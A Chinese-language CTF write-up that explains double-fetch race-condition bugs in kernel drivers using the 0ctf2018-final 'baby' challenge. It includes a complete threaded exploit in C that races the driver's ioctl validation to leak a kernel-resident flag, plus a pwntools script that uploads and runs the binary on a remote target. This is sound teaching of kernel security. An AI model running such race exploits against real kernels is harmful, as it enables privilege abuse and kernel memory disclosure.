Double fetch漏洞是一种条件竞争漏洞,由于多线程的原因,使得内核里多次访问到用户的数据不一致而引发的漏洞。我们用户态传数据给内核,如果是简单的数据,则按传值传递,如果数据量很大很复杂,我们则传指针给内核。内核里首先会对数据的合理性进行校验,校验成功后,待会内核又重新在某处来访问我们的数据,而如果有另外一个线程在这之前篡改了数据,就使得数据不一致,从而可能形成漏洞。
我们以0ctf2018-final-baby这题为例
首先,我们用IDA分析一下ko驱动文件
经过分析,驱动里的ioctl函数定义了两个交互命令,0x6666命令,用于获取驱动里的flag的地址,0x1337用于传递给驱动数据,如果检验成功,则输出flag。
检验点有三个
传递的数据指针范围必须在用户态内存内
传递的长度必须等于真正的flag的长度
传递的flag的内容必须与内核里的flag内容一样
传给内核的数据结构如下
1 2 3 4
| typedef struct { char *flag_addr; size_t len; } Data;
|
显然,我们直接把flag_addr传为内核给我们的那个flag地址,不能通过if里面的验证。我们可以以多线程来思考这个问题。我们开一个线程,里面不断的修改flag_addr为内核态的flag地址。然后再来一个线程,不断向内核传输能够通过验证的数据。两个线程会有碰撞,如果第二个线程在某时刻,数据通过了内核的验证,但内核还没有执行for循环,此时,另一个线程,修改了用户态的flag_addr,将它指向了内核态的flag。接下来,第二个线程开始执行for循环了,通过验证,最后输出flag。
我们的exploit.c程序,如果没有得到flag,可以多试几次,注意使用静态编译。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/ioctl.h> #include <pthread.h> #define LINE_LEN 0x100
#define TRYTIME 0x3000
typedef struct { char *flag_addr; size_t len; } Data;
char user_buf[0x34] = {0}; int finished = 0; long flag_addr = -1;
void changeFlagAddr(void *s) { Data *data = (Data *)s; while (!finished) { data->flag_addr = (char *)flag_addr; } } int main() { pthread_t t1; int fd = open("/dev/baby",O_RDWR); ioctl(fd,0x6666); setvbuf(stdin,0,2,0); setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); FILE *info = popen("dmesg","r"); fseek(info,-LINE_LEN,SEEK_END); char line[1024]; while (fgets(line, sizeof(line),info) != NULL) { char *index; if ((index = strstr(line,"Your flag is at "))) { index += strlen("Your flag is at "); flag_addr = strtoull(index,index+16,16); } } pclose(info); if (flag_addr == -1) { printf("error:get flag addr!\n"); exit(-1); } printf("flag_addr=0x%lx\n",flag_addr); Data data; data.flag_addr = user_buf; data.len = 33; pthread_create(&t1, NULL,changeFlagAddr,&data); for (int i=0;i<TRYTIME;i++) { ioctl(fd,0x1337,&data); data.flag_addr = user_buf; } finished = 1; pthread_join(t1, NULL); close(fd); puts("the result is:"); system("dmesg | grep flag"); return 0; }
|
如果在远程,我们则先在本地编译好二进制文件,然后借助于base64编码来传送二进制文件到远程执行。
transfer.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * import base64 sh = remote('xxx',10100)
f = open('./exploit','rb') content = f.read() total = len(content) f.close()
per_length = 0x200;
sh.sendlineafter('$','touch /tmp/exploit') for i in range(0,total,per_length): bstr = base64.b64encode(content[i:i+per_length]) sh.sendlineafter('$','echo {} | base64 -d >> /tmp/exploit'.format(bstr)) if total - i > 0: bstr = base64.b64encode(content[total-i:total]) sh.sendlineafter('$','echo {} | base64 -d >> /tmp/exploit'.format(bstr)) sh.sendlineafter('$','chmod +x /tmp/exploit') sh.sendlineafter('$','/tmp/exploit') sh.interactive()
|
本题还可以使用盲注,因为flag被硬编码在ko驱动文件里,我们可以在用户态mmap两块内存,其中第一块内存可读写,第二块内存设置不可读写,然后,我们将需要对比的那个字符放在第1块内存的末尾,由于第二块内存不可读写,驱动在执行for循环对比字符时,如果我们猜测的前一个字符是正确的,将会继续访问下一个字符,而下一个字符的位置在第二块不可读写的内存,此时内核就会报错。由此,我们可以来判断是否猜测正确。